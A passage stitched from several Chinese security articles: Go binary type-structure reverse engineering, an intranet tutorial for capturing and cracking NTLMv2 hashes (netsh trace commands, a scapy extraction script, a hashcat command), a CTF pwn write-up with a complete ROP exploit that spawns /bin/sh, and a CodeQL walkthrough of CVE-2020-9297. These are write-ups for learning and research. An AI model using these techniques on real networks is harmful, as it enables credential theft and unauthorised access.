Invalid Kind = iota
Bool
Int
Int8
Int16
Int32
Int64
Uint
Uint8
Uint16
Uint32
Uint64
Uintptr
Float32
Float64
Complex64
Complex128
Array
Chan
Func
Interface
Map
Ptr
Slice
String
Struct
UnsafePointer
)
但是 Go 二进制文件中看到的 **rtype** 里 **kind** 字段的值，并不是跟上面的枚举值对应的，而是与一个 Kind
掩码进行按位与计算之后，才能与上面的枚举值对应。Go 语言中的 Kind 掩码定义如下：
KIND_MASK = (1 << 5) - 1
**name** 是一个 uint32 类型的值，代表一个相对于 **firstmoduledata.types** 的 **偏移量** ，这个偏移量加上
**firstmoduledata.types** 得出一个 **地址值** ，这个地址就是当前 **rtype** 的 **name**
信息所在的位置。不过这个 **name** 既不是以 `0x00` 结尾的 C-String，也不是以 Length 指定长度的一串字符，而是另外一个专门的
**type name** 结构体。
#### 8.3.2 type name
先看一下 **[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的一个基础的 type
name：
一个 type name 基础数据，包含以下字段：
* **flag** : 1 Byte(uint8)，可以标记本 type name 是否 **可导出** (首字母大写)，以及是否附带 **tag data** 或 **package path** ；
* **length** : 2 Bytes(uint16)，2 个字节通过计算得出本 **type name** string 的长度
* **name string** ： **length** 个 Bytes，就是最终的 type name string。
先介绍一下 2 Bytes 的 **type name** 的 Length 如何计算。 **type name** 的源码定义中的一段注释如下：
The first byte of type name is a bit field containing:
1<<0 the name is exported
1<<1 tag data follows the name
1<<2 pkgPath nameOff follows the name and tag
The next two bytes are the type name string length:
len := uint16(type_name_data[1])<<8 | uint16(type_name_data[2])
Bytes [3:3+l] are the string data.
Length 计算方式也一目了然，如果用 IDAPython 来表示，就是：
len = ((idc.Byte(type_name_addr + 1) & 0xFF << 8) | (idc.Byte(type_name_addr + 2) & 0xFF)) & 0xFFFF
**name flag** 的 3 种情况，与 **rtype tflag** 的 3 种情况类似，计算方式也相同，都是分别与 (1, 2, 4) 进行
**按位与** 运算，依据结果来看本 **type name** 是否可导出，以及是否附带 **tag data** 或 **package path**
。在 Go 语言的规范中， **可导出** 就意味着 **首字母大写** 。
**tag** 在 Go 中也很常见，相当于给相应的 **type name** 又起了一个别名。最常见的用法是用 Struct 定义 Json 结构时，给
Struct 中的字段打上一个 Json 的 Tag。如果 **type name** 附带了 **tag data** ，那么紧接着 **type
name** 的 String 数据后 2 Bytes，就是 **tag string** 的长度，该长度值计算方式同于 **type name**
length。2 Bytes 之后，就是指定长度的 **tag string** 数据。如下所示：
**package path** 则是在 **type name** 的基础数据和 **tag data** 之后，是一个 4 Bytes(uint32)
类型的 Offset 值，这个 Offset 是相对于 **firstmoduledata.types** 来说的，相加之后得出一个 **type
name** 的 **地址** 。这个地址，指向的是另外一个 **type name** 结构，这个结构就存放了 **pacakge path**
的信息。这个 **package path** 结构的解析，也就跟 **type name** 一样了。下图是一个标准库 **sync** 中的 type
name，一目了然：
### 8.4 composite type 解析
Go 中的 Common Basic Types 都可以用上面的 **rtype** 来表示，如果 **rtype.kind** 对应于 Composite
Types 其中一个，那么完整的类型定义就需要在 **rtype** 的基础上加上各自独有的字段或者属性才能表示了。本小节就盘点一下这些 Composite
Types 的结构，以及解析思路。
#### 8.4.1 Ptr Type
Ptr Type 即指针类型，它指向某一个具体的数据类型。源码定义如下：
type ptrType struct {
rtype
elem *rtype // pointer element (pointed at) type
}
即在 **rtype** 后面又附带了一个指向 **rtype** 的指针(是地址，不是偏移)，对这个被指向的 **rtype** 的解析，参考上文即可。
**[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的一个 Ptr Type
结构效果如图所示：
#### 8.4.2 Struct Type
Struct Type 即 Go 语言中的结构体。不同于 C 中的 Struct，Go 中的 Struct
中的字段有的可以导出，有的只能私用，还可以匿名存在，最重要的时可以绑定方法，其实更像是面向对象概念中的 **类(Class)** 。Struct Type
源码定义如下：
type structType struct {
rtype
pkgPath name // !! pointer
fields []structField // sorted by offset
}
可以看到 Struct Type 是在 **rtype** 数据后面加了一个 **package path** 和一组 **structField** 。
**pkgPath** 其实是相对于 **firstmoduledata.types** 的一个偏移，指向一个 **type name**
结构，解析方式参考上文。 **fields** ，顾名思义，就是 Struct 中的字段定义信息。
**structField** 在源码中的定义如下：
type structField struct {
name name // name is always non-empty
typ *rtype // type of field
offsetEmbed uintptr // byte offset of field<<1 | isEmbedded
}
**structField** 前两个成员对逆向分析最有帮助：
1. 指向一个 **type name** 结构的地址，表示本 **structField** 的 **field name** ；
2. 指向一个 **type** 的地址，表示本 **structField** 的数据类型。
综合起来，一个完整的 Struct 结构，经过 **[go_parser](https://github.com/0xjiayu/go_parser)**
的解析，在 IDAPro 中展示如下：
#### 8.4.3 Slice Type
Slice 即切片。Go 数组的长度不可改变，在特定场景中这样的集合就不太适用，所以 Go 就以 “动态数组”
的概念提供了一个类似数组，但可灵活伸缩的数据结构——切片。Slice 的源码定义如下：
type sliceType struct {
rtype
elem *rtype // slice element type
}
结构类似 Ptr Type，在 **rtype** 数据后面加上一个指向 **element type** 的地址。
**[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的一个典型的 Slice 类型如下：
#### 8.4.4 Array Type
数组类型源码定义如下：
type arrayType struct {
rtype
elem *rtype // array element type
slice *rtype // slice type
len uintptr
}
Array Type 是在 **rtype** 数据后面附上 Array element type 的地址、对应的 Slice 类型的地址和本 Array
Type 的长度。 **[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的一个 Array
Type 在 IDAPro 中展示如下：
#### 8.4.5 Interface Type
Go 中的 Interface 类型，指的是定义一组行为/方法的数据类型。任何其他实现了这一组方法的类型，都可以说 **实现了这个接口** 。
Interface Type 的源码定义如下：
type interfaceType struct {
rtype
pkgPath name // import path
methods []imethod // sorted by hash
}
即在 **rtype** 的数据后面加上了一个 **pkgPath** 和一组 **imethod** 。 **pkgPath** 是一个指向 **type
name** 结构的地址。 **imethod** 就是 Interface 中定义的、必须实现的方法，其源码定义如下：
type imethod struct {
name nameOff // name of method
typ typeOff // .(*FuncType) underneath
}
两个成员都是相对于 **firstmoduledata.types** 的 **偏移量** ，第一个成员 **name** 即当前 Method
的名字，计算得出的地址，指向一个 **type name** 结构；第二个 **typ** 即当前 Method
的类型，其实就是方法的声明信息，计算得出的地址，指向一个 **func type** 的结构。
**[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的一个完整的 Interface Type
如下：
#### 8.4.6 Func Type
Func Type，顾名思义，就是函数或者方法的类型。源码定义如下：
type funcType struct {
rtype
inCount uint16
outCount uint16 // top bit is set if last input parameter is ...
padding uint32 // ! only on some architectures (e.g. x64)
}
即在 **rtype** 数据后面放置了 3 个成员，对逆向分析最有用的是 **inCount** 和 **outCount** 。 **inCount**
其实就是参数的个数； **outCount** 是返回值个数。紧随其后的就是每个参数类型定义的地址、每个返回值类型定义的地址。
**[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的一个 Func Type 如下：
#### 8.4.7 Map Type
Map Type 就是映射或者字典类型，由 Key 和 Value 构成。Map Type 的源码定义如下：
type mapType struct {
rtype
key *rtype // map key type
elem *rtype // map element (value) type
bucket *rtype // internal bucket structure
// function for hashing keys (ptr to key, seed) -> hash
hasher func(unsafe.Pointer, uintptr) uintptr
keysize uint8 // size of key slot
valuesize uint8 // size of value slot
bucketsize uint16 // size of bucket
flags uint32
}
可见 Map Struct 比较复杂，在 **rtype** 数据后附加了比较多的字段，而其中对逆向分析比较有帮助的只有 2 个： **key** 和
**elem** ，顾名思义，就是 **key** 指向的类型定义数据和 **element(value)** 的数据类型定义数据。
**[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的一个 Map Type 如下：
#### 8.4.8 Chan Type
Chan Type，即 **Channel(通道)** 类型，是 Go 中一个比较特殊的数据类型。这个类型主要是用来在 Goroutine
之间传递消息、同步数据，是 Go 原生高并发特性的支撑要素之一。Chan Type 的源码定义如下：
type chanType struct {
rtype
elem *rtype // channel element type
dir uintptr // channel direction (ChanDir)
}
一个 Channel 在使用时，只能传输一种类型的数据，在声明或者创建时，要指定一个可传输的数据类型，比如创建一个可传输 int 类型值的 channel：
ch := make(chan int)
另外，Go 中的 Channel 是有方向的。虽然 Channel 默认既可以发送数据，也可以接收数据，但也可以通过指定方向让它做到只能发送或只能接收数据。
所以，上面可以看到 Chan Type 的源码定义中，在 **rtype** 数据后附加了两个字段：指向一个可发送的数据类型的定义的地址 **elem**
，和一个代表 Channel 方向（单向接收为 1；单向发送为 2，双向收发为 3）的值。
**[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的一个 Chan Type 如下：
#### 8.4.9 Ucommon Type
前面提了多次可以绑定 Methods 的 **Uncommon Type** ，具体是什么样的呢？源码定义如下：
// uncommonType is present only for defined types or types with methods
// (if T is a defined type, the uncommonTypes for T and *T have methods).
// Using a pointer to this struct reduces the overall size required
// to describe a non-defined type with no methods
type uncommonType struct {
pkgPath nameOff // import path; empty for built-in types like int, string
mcount uint16 // number of methods
xcount uint16 // number of exported methods
moff uint32 // offset from this uncommontype to [mcount]method
_ uint32 // unused
}
任何一个 Type，无论是 Basic Type 还是 Composite Type，都可以是 Uncommon Type。如果一个 Type 的
**tflag** 字段标记该 Type 时 **Uncommon Type** ，那么在该 Type 前面所有的字段之后，就是 **Uncommon
Type** 的信息了。
第一个字段是 **pkgPath** ，这个字段的用法与 **Interface Type** 中的 **pkgPath** 相同。
第二个字段是 **mcount** ，即所有绑定的 Methods 的数量；第三个字段 **xcount** 则是可导出的 Methods 的数量，即
Method name 首字母大写。第 4 个字段，是 Methods 列表到 **Uncommon Type** 信息起始地址的 **偏移** 。
Uncommon Type 这里绑定的 Method，与 Interface 那里声明的 **Interface Method** 定义还不一样：
type method struct {
name nameOff // name of method
mtyp typeOff // method type (without receiver) // offset to an *rtype
ifn textOff // fn used in interface call (one-word receiver) // offset from top of text section
tfn textOff // fn used for normal method call // offset from top of text section
}
* **name** 是相对于 **firstmoduledata.types** 的一个偏移，两者相加之后得出的地址指向一个 **type name** 结构，解析出来就是 Method name；
* **mtyp** 也是对于 **firstmoduledata.types** 的一个便宜，两者相加之后得出的地址，指向一个 Type 定义信息，其实就是 Method 的声明信息；
* 后面的 **ifn/tfn** 通常指向这个 Method 实际的函数实现，不过一个是面向 Interface 的，一个就是普通的实现。
综合起来，一个简单的 Uncommon Type 由
**[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的效果如下：
### 8.5 总结
至此，本文阐述了如何遍历找到 Go 二进制文件中每一个 Type 的定义信息，以及每一个 Type 源码级的定义和解析方式。之后就可以基于这些知识完成对
Go 二进制文件中 Types 信息的解析了。
## 参考资料：
1. <https://github.com/0xjiayu/go_parser>
2. <https://www.anquanke.com/post/id/214940>
3. <https://www.anquanke.com/post/id/215419>
4. <https://golang.org/src/runtime/type.go>
5. <https://golang.org/src/runtime/malloc.go>
6. <https://www.pnfsoftware.com/blog/analyzing-golang-executables/>
7. <http://home.in.tum.de/~engelke/pubs/1709-ma.pdf> | 社区文章 |
# 0x00 前言
在阅读且实验完wilsonlee1师傅的文章[利用netsh抓取连接文件服务器的NTLMv2
Hash](https://xz.aliyun.com/t/1945 "利用netsh抓取连接文件服务器的NTLMv2
Hash")后，我发现了文章中一些没有提及的点以及PY脚本的编写"BUG"，因此打算自己重新做一套从0到1完整的总结。
在这里我的标题是《监听445端口抓数据》，而原文是《利用netsh抓取连接文件服务器的NTLMv2
Hash》。w师傅在文章中主要讲述的针对目标是”文件服务器“，这是正确的。
但有时候可能会让实践少的同行陷入一种拿到了文件服务器后才用这种方法的错觉。那样想会误导的，在笔者实战遇到小型局域网的时候。往往就是工作组之间互相分享，大家都是“文件服务器”所以我的标题改成了《监听445端口抓取数据》
适用场景：
当我们控制内网一台服务器以后，通过监听它自己的445共享文件端口，可以获取没有认证SMB服务机器的凭证信息。如果对方机器和文件服务器445连接还保持着，那样是不会进行NTLM认证的。只有没认证过的机器(亦或是认证过期)访问文件服务器才会抓取到。
借用w师傅的话就是获得了内网一个文件服务器权限，如何获得更多用户口令？
# 0x01 简介
在文中我会根据自己的理解介绍如下内容：
* windows平台中自带无需安装第三方依赖库进行网络抓包的方法
* 将数据包转换成pcap格式
* 使用Wireshark对数据包进行分析
* 修改原作者py提取出NTLMv2 Hash
* Hashcat对NTLMv2 Hash破解
# 0x02 解决思路
在SMB认证中我们了解到，当我们访问一个目标时会主动向对方发送自己的用户名和NTLM v2\v1
进行认证。我们只需要抓取445端口的相关认证信息即可，但是这里有一个问题。就是之前认证成功的用户再来访问我们的时候是不会再次认证的，所以我们获取不了。在第一时间只能获取没有登陆过本机SMB服务的认证信息，或者认证时间过程需要重新认证的这种！
# 0x03 windows平台自带网络抓包方法
win系统中自带的netsh中的trace功能能够实现不安装任何第三方依赖库，在命令行下进行抓包！
官方说明文档！
https://technet.microsoft.com/en-us/library/dd878517%28v=ws.10%29.aspx
适用情况：
* 需要管理员权限
* 支持Win7、Server2008R2及以后的系统，但不支持Server2008
## 1.开启记录功能
netsh trace start capture=yes persistent=yes traceFile="c:\\test\\snmp1.etl" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.20.1 keywords=ut:authentication
pass:切记"ipv4.address="改成本机IP，不然什么都抓取不到！！！
参数说明：
- capture=yes： 开启抓包功能
- persistent=yes： 系统重启不关闭抓包功能，只能通过Netsh trace stop关闭
- traceFile： 指定保存记录文件的路径
- overwrite=yes： 如果文件存在，那么对其覆盖
- correlation=no： 不收集关联事件
- protocol=tcp： 抓取TPC协议
- ipv4.address=192.168.62.130： 限定只抓和服务器IP相关的数据包
- keywords=ut:authentication： 关键字为ut:authentication
直接改完IP执行就行了，参数w师傅写的我也没怎么改。
## 2.关闭记录功能
Netsh trace stop
在这里我们需要手动关闭，参数说明中设置了“只能通过命令Netsh trace stop关闭”！
在关闭之后就会保存成.etl结尾的文件，还会生成一个.cab的文件。但是这里我们转换只需要用到.etl后缀文件！笔者脑子糊涂拿.cab去转换一直失败！
# 0x04 转换成.cap后缀文件
在这里.etl文件是没有办法直接打开的，需要使用win开发的 windows message analyzer 才能打开进行转换。
w师傅贴的 windows message analyzer 下载链接是微软官网的，但是现在好像取消了。我在这里用了别人百度云的链接
https://pan.baidu.com/s/1dE1pM2d
这个工具需要.net 4.5才能使用，笔者在这里使用win2012R2进行的安装。安装完后使用非常简单！
在这里点击OPNE将我们的etl文件导入进来就行了，然后稍等一会，等左下角变成Ready
变成Ready之后就可以依次点击File - Save as
-Export，保存成cap包格式。但是这里会出现一个bug，就是会有这样的一个弹框。我们不用去管它，我测试的时候数据没有出现错误或遗失！
# 0x05 通过脚本去筛选文件
在这里我们已经拿到了.cap
Wireshark可打开的格式，这时候打开再另存为.pcap格式就可以了。这种格式可以用py脚本去进行筛选！不过在这里笔者的修改脚本只支持获取V2
Hash!
在原作者的文章中详细的说明了这个脚本的相关部分，笔者不才对 scapy 模块理解的非常少。因此只是书写一下简单的过程和PY脚本BUG修改。
原作者的py代码大家可以去看一下，大体上看作者通过自己的脚本成功筛选除了NTLM v2 Hash 。在这里是不对的，因为 NTLM
HASH部分不是固定的。会出现不同程度的偏移，笔者在测试过程中一开始弄不懂为什么提取错误。后通过大量时间去实验发现了这个问题，后我的解决方法是增加一个正则。
3.00000000000000000000000000000000000000000000000000(.*)
在这里说一个加正则的原因，笔者使用2008 2012
win7去进行测试。接发现在数据头部存在3000000000000000000000000000000000000000000000000000
但是在另一次实验中是3100000000000000000000000000000000000000000000000000，因此正则改成了那样子。如果你们使用我的脚本发现出不来数据，那肯定是正则的没有匹配到！想要对正则进行修改，需要手工使用wireshark进行提取熟悉字段后进行。在笔者的另外一篇破解NTLM的文章中写的相关的过程。
具体成果如下图所示
代码如下
#!/usr/bin/env python2.7
import re
try:
import scapy.all as scapy
except ImportError:
import scapy
try:
# This import works from the project directory
import scapy_http.http
except ImportError:
# If you installed this package via pip, you just need to execute this
from scapy.layers import http
packets = scapy.rdpcap('NTLM_2.pcap')
Num = 1
for p in range(len(packets)):
try:
if packets[p]['TCP'].dport ==445:
TCPPayload = packets[p]['Raw'].load
if TCPPayload.find('NTLMSSP') != -1:
if len(TCPPayload) > 500:
print ("----------------------------------Hashcat NTLMv2 No.%s----------------------------------"%(Num))
Num = Num+1
print ("PacketNum: %d"%(p+1))
print ("src: %s"%(packets[p]['IP'].src))
print ("dst: %s"%(packets[p]['IP'].dst))
Flag = TCPPayload.find('NTLMSSP')
ServerTCPPayload = packets[p-1]['Raw'].load
ServerFlag = ServerTCPPayload.find('NTLMSSP')
ServerChallenge = ServerTCPPayload[ServerFlag+24:ServerFlag+24+8].encode("hex")
print ("ServerChallenge: %s"%(ServerChallenge))
DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)
DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256
DomainLength = DomainLength1 + DomainLength2
#print DomainLength
DomainNameUnicode = TCPPayload[Flag+88:Flag+88+DomainLength]
DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]
DomainName = ''.join(DomainName)
print ("DomainName: %s"%(DomainName))
UserNameLength1 = int(TCPPayload[Flag+36:Flag+36+1].encode("hex"),16)
UserNameLength2 = int(TCPPayload[Flag+36+1:Flag+36+1+1].encode("hex"),16)*256
UserNameLength = UserNameLength1 + UserNameLength2
#print UserNameLength
UserNameUnicode = TCPPayload[Flag+88+DomainLength:Flag+88+DomainLength+UserNameLength]
UserName = [UserNameUnicode[i] for i in range(len(UserNameUnicode)) if i%2==0]
UserName = ''.join(UserName)
print ("UserName: %s"%(UserName))
NTLMResPonseLength1 = int(TCPPayload[Flag+20:Flag+20+1].encode("hex"),16)
NTLMResPonseLength2 = int(TCPPayload[Flag+20+1:Flag+20+1+1].encode("hex"),16)*256
NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2
# print NTLMResPonseLength
NTLMResPonse = TCPPayload[Flag+140:Flag+140+NTLMResPonseLength].encode("hex")
NTLMZONG = packets[p]['Raw'].load.encode("hex")
# print NTLMZONG
NTLM_FINDALL = re.findall('3.00000000000000000000000000000000000000000000000000(.*)',NTLMZONG)
# print NTLM_FINDALL
#print NTLMResPonse
print "Hashcat NTLMv2:"
print ("%s::%s:%s:%s:%s"%(UserName,DomainName,ServerChallenge,NTLM_FINDALL[0][:32],NTLM_FINDALL[0][32:632]))
# print(NTLMResPonse)
except:
pass
# 0x06 破解NTLM v2
首先记住这里是NTLM v2，如果是v1则需要换代码。
hashcat -m 5600 Administrator::BJ:c3e0054e464f07fa:ee783fa6e8ceff8cb08471f197e65bc6:01010000000000007db2d91678bdd601d89d32f40af504700000000002000a004800410043004b00450001000800570049004e00370004001a006800610063006b0065002e0074006500730074006c006100620003002400770069006e0037002e006800610063006b0065002e0074006500730074006c006100620005001a006800610063006b0065002e0074006500730074006c0061006200070008007db2d91678bdd601060004000200000008003000300000000000000000000000003000004a8fe7c7179152d990b897f672c25cefa677f387edc9f732008c32632721ff420a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00320030002e00310034003100000000000000000000000000 password.list -o found.txt --force
参考链接：
https://xz.aliyun.com/t/1945 | 社区文章 |
## 前言：
哎。。本菜鸡看见了这个原题还惊喜了一下，可惜搜到的writeup都是些不是预期思路解，好，既然搜不到它，那我就要分析它。一分析，这`getshell`的思路也太特么的骚了吧。。现在一起来看看它是怎么个骚法。
## 正文：
int __cdecl main(int argc, const char **argv, const char **envp)
{
_isoc99_scanf((unsigned __int64)&unk_48D184);
printf((unsigned __int64)"Hi, %s. Bye.\n");
return 0;
}
程序就这么的简单，一个输入加一个输出就结束了，而且是静态链接的程序，都不要libc了，libc已经静态编译到程序里了。
输入点在`bss`段上的name字段：
.bss:00000000006B73E0 name db ? ;
输出也在这里。因为这题目是34C3的原题，所以先从原题入手来看这道题目。来看看字符串：
➜ revenge strings ./revenge | grep 34C3
34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
乖乖，`flag`就在程序的内存里，通常遇到flag就在内存里的题目，自然而然会想到用`__stack_chk_fail`方法来做，还需要控制PC去执行道我们所要的这个函数，程序经过我们输入后，只运行了一个`printf`函数，所以要控制PC答案应该就在`printf`里面，我们查一下`printf`的源码，发现它调用了`vfprintf`后：
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
我们看看这里所需要用到的指针所在内存的位置：
.bss:00000000006B7A28 __printf_function_table dq ?
__libc_freeres_ptrs:00000000006B7AB0 __printf_va_arg_table dq ?
.bss:00000000006B7A30 __printf_modifier_table dq ?
都在`&name`的高地址位，可以覆盖到，我们执行过后可以跳到`do_positional`处，往后看，可以发现一个最关键的函数代码：
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
{
这里可以看到一个关键位：
(int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
只要前面三个条件都为False，我们就可以执行到`__printf_arginfo_table[spec->info.spec]`函数，而`spec`是一个结构体，而`info.spec`则是`printf`函数的格式化字符串，在本程序中就是`%s`，所以`spec->info.spec`就是`s`即`0x73`。成为了`__printf_arginfo_table`的下标。我们在IDA中也可以充分感受到这一点：
接下来就好利用了，只要构造字符串覆盖覆盖就好了，覆盖`__printf_arginfo_table[0x73]`为所想要的`__stack_chk_fail`函数就好了，但是这题是经过改编的，所以这个方法在这里是行不通的。下面再来看看直接getshell的骚思路。
### getshell正规骚思路解：
记住前面我们所提到过的一点，只要覆盖了`__printf_arginfo_table`我们就可以控制程序执行流程。程序既然是静态链接，又没有`system`函数，那么我们就自己构造，用系统调用`execve`来`getshell`。先找ROP：
0x0000000000400525 : pop rdi ; ret
0x00000000004059d6 : pop rsi ; ret
0x0000000000435435 : pop rdx ; ret
0x000000000043364c : pop rax ; ret
.text:000000000045FA15 syscall
64位中系统调用号是59。ROP找好了，我们怎么去执行，让rsp指向我们构造的地址呢？接下来就是我们所需要做的事情。
我们首先将流程控制执行到`0x46D935`处：
.text:000000000046D935 mov rax, cs:_dl_scope_free_list
.text:000000000046D93C test rax, rax
.text:000000000046D93F jz loc_46D383
.text:000000000046D945 cmp qword ptr [rax], 0
.text:000000000046D949 jz loc_46D383
.text:000000000046D94F jmp loc_46D8B1
`_dl_scope_free_list`在bss段上，我们可以覆盖到：
.bss:00000000006B7910 _dl_scope_free_list dq ?
所以这里我们可以控制`rax`的值，只要不为0且[rax]也不为0就可以执行到`jmp`处，继续往后：
.text:000000000046D8B1 call cs:_dl_wait_lookup_done
直接`call`函数了。更巧的是`_dl_wait_lookup_done`的值我们也可以控制：
.bss:00000000006B78C0 _dl_wait_lookup_done dq ?
骚不骚？别急，更骚的还在后面。因为前面我们可以控制了`rax`，而我们又想把`rsp`指向我们构造地址，这里把`_dl_wait_lookup_done`指向一个数据段去，指到`0x4a1a79`：
.rodata:00000000004A1A79 db 94h
.rodata:00000000004A1A7A db 0C3h
这里转化成机器码则是：
.rodata:00000000004A1A79 xchg eax, esp
.rodata:00000000004A1A7A retn
刚好可以把`esp`的值和`eax`的值互换，前面我们可以控制了`rax`的值，那么我们不就可以把`rsp`的值指向我们构造的地方了？骚吧。。还能找到这么刁钻的一个地方。。我真佩服。接下来就可以指到我们的ROP去了，完成`getshell`。写exp时候最需要注意的一点就是`__printf_modifier_table`处必须为0，调试可知不为0程序会崩溃。
## EXP:
from pwn import *
p = process('./revenge')
name_addr = 0x00000000006B73E0
pop_rdi = 0x0000000000400525
pop_rsi = 0x00000000004059d6
pop_rdx = 0x0000000000435435
pop_rax = 0x000000000043364c
syscall_addr = 0x000000000045fa15
head_rop = 0x000000000046D935
xchg_rsp = 0x00000000004A1A79
wait_lookup_done = 0x00000000006B78C0
scope_free_list = 0x00000000006B7910
function_table = 0x00000000006b7a28
arginfo_table = 0x00000000006B7AA8
#ROP
payload = p64(head_rop)
payload += p64(pop_rdi) + p64(name_addr + 8*10)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(59)
payload += p64(syscall_addr)
payload += '/bin/sh\x00'
#create payload
payload = payload.ljust(wait_lookup_done - name_addr,'\x90')
payload += p64(xchg_rsp)
payload = payload.ljust(scope_free_list - name_addr,'\x90')
payload += p64(name_addr + 8)
payload = payload.ljust(function_table - name_addr,'\x90')
payload += p64(0x90) #follow is the modifier_table -- > 0
payload += p64(0)
payload = payload.ljust(arginfo_table - name_addr,'\x90')
payload += p64(name_addr - 0x73*8)
#gdb.attach(p)
p.sendline(payload)
p.interactive() | 社区文章 |
## 前言
利用 CodeQL 挖掘 CVE-2020-9297 是 Github CTF 中的第四道题目，官方的答案已经公布了
<https://securitylab.github.com/ctf/codeql-and-chill/answers，> 这里来学习一下解决的思路。
## 漏洞描述
根据官方的描述，可以看到漏洞的成因在于 Netflix Titus 在使用 `Java Bean Validation (JSR 380)` 的自定义
约束验证的时候，使用了
`ConstraintValidatorContext.buildConstraintViolationWithTemplate()`
来渲染报错信息，因此如果该函数的参数是用户可控的话，攻击者就能利用构造出的参数触发 Java EL 的执行，进而触发 RCE。
以 [SchedulingConstraintSetValidator.java](https://github.com/Netflix/titus-control-plane/blob/8a8bd4c1b4b63e17520804c6f7f6278252bf5a5b/titus-api/src/main/java/com/netflix/titus/api/jobmanager/model/job/sanitizer/SchedulingConstraintSetValidator.java)
中的这段存在漏洞的代码为例：
@Override
public boolean isValid(Container container, ConstraintValidatorContext context) {
if (container == null) {
return true;
}
Set<String> common = new HashSet<>(container.getSoftConstraints().keySet());
common.retainAll(container.getHardConstraints().keySet());
if (common.isEmpty()) {
return true;
}
context.buildConstraintViolationWithTemplate(
"Soft and hard constraints not unique. Shared constraints: " + common
).addConstraintViolation().disableDefaultConstraintViolation();
return false;
}
可以看到这里 `container` 是一个用户可控的参数，然后最终从 `container` 中获得的 `common`
会在不经过任何处理后就作为参数传给 `buildConstraintViolationWithTemplate()` 函数。
## 利用 CodeQL 进行污点分析
### Source
很明显 source 是 `isValid` 函数的第一个参数，因此如何定位 source 就变成了这样一个问题：如何在对所有接口
`javax.validation.ConstraintValidator` 的实现中，找到 `isValid` 函数的实现。
首先先抽象出接口 `ConstraintValidator`：
class TypeConstraintValidator extends Interface {
TypeConstraintValidator() {
this.hasQualifiedName("javax.validation", "ConstraintValidator")
}
Method getIsValidMethod() {
result.getDeclaringType() = this and
result.hasName("isValid")
}
}
其次，因为我们想找的 source 其实是对该接口的具体实现，所以可以利用 `overridesOrInstantiates`
来具体判断一个函数是否是对该接口的实现：
class ConstraintValidatorIsValidMethod extends Method {
ConstraintValidatorIsValidMethod() {
this.overridesOrInstantiates*(any(TypeConstraintValidator t).getIsValidMethod())
}
}
最后可以结合对 source 的具体要求：`isValid` 函数的第一个参数，通过继承自 `DataFlow::Node` 可以得到对于 source
的定义（这里用 `fromSource` 限定了一下来源）：
class BeanValidationSource extends DataFlow::Node {
BeanValidationSource() {
exists(ConstraintValidatorIsValidMethod isValidMethod |
this.asParameter() = isValidMethod.getParameter(0) and
isValidMethod.fromSource()
)
}
}
### Sink
类似的，先对 `ConstraintValidatorContext.buildConstraintViolationWithTemplate()`
函数抽象出相应的定义：
class TypeConstraintValidatorContext extends RefType {
TypeConstraintValidatorContext() {
this.hasQualifiedName("javax.validation", "ConstraintValidatorContext")
}
}
class BuildConstraintViolationWithTemplateMethod extends Method {
BuildConstraintViolationWithTemplateMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext and
this.hasName("buildConstraintViolationWithTemplate")
}
}
通过对代码的理解我们可以看到，sink 实际就是 `buildConstraintViolationWithTemplate`
函数的第一个参数，所以我们可以如下定义：
class TemplateRenderSink extends DataFlow::Node {
TemplateRenderSink() {
exists(MethodAccess ma |
ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod and
this.asExpr() = ma.getArgument(0)
)
}
}
### 第一次测试
将我们定义的 source 和 sink 结合，定义 `TaintConfig` 就能开始尝试进行污点分析了：
/**
* @kind path-problem
*/
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
class TypeConstraintValidator extends Interface {
TypeConstraintValidator() {
this.hasQualifiedName("javax.validation", "ConstraintValidator")
}
Method getIsValidMethod() {
result.getDeclaringType() = this and
result.hasName("isValid")
}
}
class ConstraintValidatorIsValidMethod extends Method {
ConstraintValidatorIsValidMethod() {
this.overridesOrInstantiates*(any(TypeConstraintValidator t).getIsValidMethod())
}
}
class BeanValidationSource extends DataFlow::Node {
BeanValidationSource() {
exists(ConstraintValidatorIsValidMethod isValidMethod |
this.asParameter() = isValidMethod.getParameter(0) and
isValidMethod.fromSource()
)
}
}
class TypeConstraintValidatorContext extends RefType {
TypeConstraintValidatorContext() {
this.hasQualifiedName("javax.validation", "ConstraintValidatorContext")
}
}
class BuildConstraintViolationWithTemplateMethod extends Method {
BuildConstraintViolationWithTemplateMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext and
this.hasName("buildConstraintViolationWithTemplate")
}
}
class TemplateRenderSink extends DataFlow::Node {
TemplateRenderSink() {
exists(MethodAccess ma |
ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod and
this.asExpr() = ma.getArgument(0)
)
}
}
class TaintConfig extends TaintTracking::Configuration {
TaintConfig() { this = "TaintConfig" }
override predicate isSource(DataFlow::Node source) {
source instanceof BeanValidationSource
}
